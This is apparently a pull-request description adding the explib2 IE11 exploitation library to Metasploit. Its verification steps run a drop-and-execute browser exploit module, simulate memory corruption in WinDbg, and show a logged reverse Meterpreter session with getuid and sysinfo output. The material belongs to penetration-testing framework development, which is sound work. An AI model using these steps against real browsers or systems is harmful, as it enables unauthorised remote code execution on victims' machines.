Explib2 integration into metasploit

This pull requests integrates explib2 by @guhe120 into metasploit. The explib2 has been modified a little bit to make it work smoothly on IE 11. It has been tested on:

* Windows 7 SP1 
* IE11, mshtml version:

```
0:002> lmv m mshtml
start    end        module name
65bc0000 66c22000   MSHTML     (deferred)             
    Image path: C:\Windows\system32\MSHTML.dll
    Image name: MSHTML.dll
    Timestamp:        Mon Oct 14 09:15:37 2013 (525B9A19)
    CheckSum:         010660B2
    ImageSize:        01062000
    File version:     11.0.9600.16428
    Product version:  11.0.9600.16428
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Internet Explorer
    InternalName:     MSHTML
    OriginalFilename: MSHTML.DLL
    ProductVersion:   11.00.9600.16428
    FileVersion:      11.00.9600.16428 (winblue_gdr.131013-1700)
    FileDescription:  Microsoft (R) HTML Viewer
    LegalCopyright:   © Microsoft Corporation. All rights reserved.
```

In other windows / IE versions probably ```stream_origin``` at Explib2 should be fixed. I've added methods to get and set it.

Verification
---------------

- [x] Install Windows 7 SP1 and IE 11 (better if mshtml matches the version above).
- [x] Use the test modules to make it work with the currently available payloads. Specially interesting is the explib2_ie11_drop_exec_test_case test case, because it will allow to run arbitrary msf payload.
- [x] Use the module and exploit with it

```
> use exploit/windows/browser/explib2_ie11_drop_exec_test_case
msf exploit(explib2_ie11_drop_exec_test_case) > exploit
[*] Exploit running as background job.


[*] Started reverse handler on 0.0.0.0:4444 
[*] Using URL: http://0.0.0.0:8080/tGd8X1dZBBosQ92
[*]  Local IP: http://10.6.0.136:8080/tGd8X1dZBBosQ92
[*] Server started.
```

- [x] Go tot he browser and point to the server URL ```http://10.6.0.136:8080/tGd8X1dZBBosQ92```. Once the alert popups, attach windbg and follow the instructions: ```ed 1a1b3000+18 400; g``` to simulate the memory corruption, continue clicking in the alert popup.

- [x] You should get a session in the console:

```
msf exploit(explib2_ie11_drop_exec_test_case) > [*] 10.6.0.136       explib2_ie11_drop_exec_test_case - Gathering target information.
[*] 10.6.0.136       explib2_ie11_drop_exec_test_case - Sending response HTML.
[*] Sending stage (769536 bytes) to 10.6.0.136
[*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:50719) at 2014-03-28 11:06:41 -0500

msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 1 closed.  Reason: User exit
```